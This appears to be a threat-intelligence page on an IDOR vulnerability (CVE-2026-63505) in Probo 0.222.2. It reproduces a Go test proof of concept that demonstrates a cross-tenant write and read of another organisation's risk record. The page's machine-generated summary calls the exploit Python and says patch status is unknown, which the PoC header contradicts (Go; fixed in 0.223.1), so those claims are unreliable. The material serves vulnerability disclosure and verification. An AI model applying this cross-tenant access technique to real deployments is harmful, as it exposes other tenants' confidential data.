Probo 0.222.2 - IDOR
Probo 0.222.2 - IDOR
AI Analysis
Technical Summary
CVE-2026-63505 identifies an IDOR vulnerability in Probo versions up to and including 0.222.2. This vulnerability enables attackers to bypass authorization controls by directly accessing objects through manipulated references. The exploit code has been published in Python, facilitating potential exploitation. The affected platform is Linux. No official patch or vendor advisory information is provided, so patch status is not confirmed.
Potential Impact
Successful exploitation of this IDOR vulnerability could allow unauthorized users to access or manipulate resources they should not have permission to, potentially leading to data exposure or unauthorized actions within the affected Probo installation. However, no active exploitation in the wild has been reported to date.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access to the affected Probo instances and monitor for suspicious activity related to object access. Avoid exposing the service to untrusted networks.
Indicators of Compromise
- exploit-code: # Exploit Title: Probo 0.222.2 - IDOR # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/getprobo/probo # Software Link: https://github.com/getprobo/probo # Version: <= 0.222.2 (fixed 0.223.1) # Tested on: Linux # CVE: CVE-2026-63505 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (idor_test.go) --- package idorpoc import ( "context" "fmt" "testing" "time" " http://github.com/stretchr/testify/require " " http://go.gearno.de/kit/pg " " http://go.probo.inc/probo/internal/test " " http://go.probo.inc/probo/pkg/coredata " " http://go.probo.inc/probo/pkg/gid " ) // TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant // IDOR in the Finding->Risk relation (console v1): // - Write gap: http://FindingService.Create/Update (finding_service.go:147,248) store // req.RiskID with no scoped validation; coredata Finding.Insert has no tenant // FK on risk_id. => an org-A finding can reference an org-B risk. // - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the // *finding* (org A), then the dataloader (dataloader.go:223) scopes by the // *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk. // Benign marker: a sentinel risk name created in org B is read back through the // org-B-scoped load that the resolver uses. func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) { t.Helper() tenantID := gid.NewTenantID() orgID := gid.New(tenantID, coredata.OrganizationEntityType) now := time.Now() err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error { _, err := tx.Exec(ctx, `INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`, orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now) return err }) require.NoError(t, err) return tenantID, orgID, coredata.NewScope(tenantID) } func TestFindingRiskCrossTenantIDOR(t *testing.T) { client := test.PGClient(t) ctx := context.Background() tenantA, orgA, scopeA := mkOrg(t, client) tenantB, orgB, scopeB := mkOrg(t, client) _ = tenantA const sentinel = "SECRET-ORG-B-RISK-do-not-disclose" riskB := &coredata.Risk{ ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB, Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated, Note: "internal", InherentLikelihood: 3, InherentImpact: 3, ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(), } require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return riskB.Insert(ctx, tx, scopeB) }), "seed org-B risk") // --- WRITE GAP: create a finding in org A referencing org B's risk --- findingA := &coredata.Finding{ ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA, Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen, Priority: coredata.FindingPriorityMedium, RiskID: &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId CreatedAt: time.Now(), UpdatedAt: time.Now(), } writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does }) require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded") t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID) // --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) --- loaded := &coredata.Risk{} readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { // exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID) return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID) }) require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request") require.Equal(t, sentinel, loaded.Name) t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name) // --- CONTRAST: proper org-A scoping would NOT find org-B's risk --- contrast := &coredata.Risk{} cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope }) require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)") fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr) }
Probo 0.222.2 - IDOR
Description
Probo 0.222.2 - IDOR
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-63505 identifies an IDOR vulnerability in Probo versions up to and including 0.222.2. This vulnerability enables attackers to bypass authorization controls by directly accessing objects through manipulated references. The exploit code has been published in Python, facilitating potential exploitation. The affected platform is Linux. No official patch or vendor advisory information is provided, so patch status is not confirmed.
Potential Impact
Successful exploitation of this IDOR vulnerability could allow unauthorized users to access or manipulate resources they should not have permission to, potentially leading to data exposure or unauthorized actions within the affected Probo installation. However, no active exploitation in the wild has been reported to date.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access to the affected Probo instances and monitor for suspicious activity related to object access. Avoid exposing the service to untrusted networks.
Technical Details
- Cve
- CVE-2026-63505
- Version
- <= 0.222.2
- Author
- Pig-Tail
- Platform
- Linux
- Edb Id
- 52650
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Probo 0.222.2 - IDOR
# Exploit Title: Probo 0.222.2 - IDOR # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/getprobo/probo # Software Link: https://github.com/getprobo/probo # Version: <= 0.222.2 (fixed 0.223.1) # Tested on: Linux # CVE: CVE-2026-63505 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored... (4876 more characters)
Threat ID: 6a838813bf8831d539a900b1
Added to database: 08/17/2026, 22:15:47 UTC
Last enriched: 08/17/2026, 22:16:09 UTC
Last updated: 08/18/2026, 01:36:12 UTC
Views: 4
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.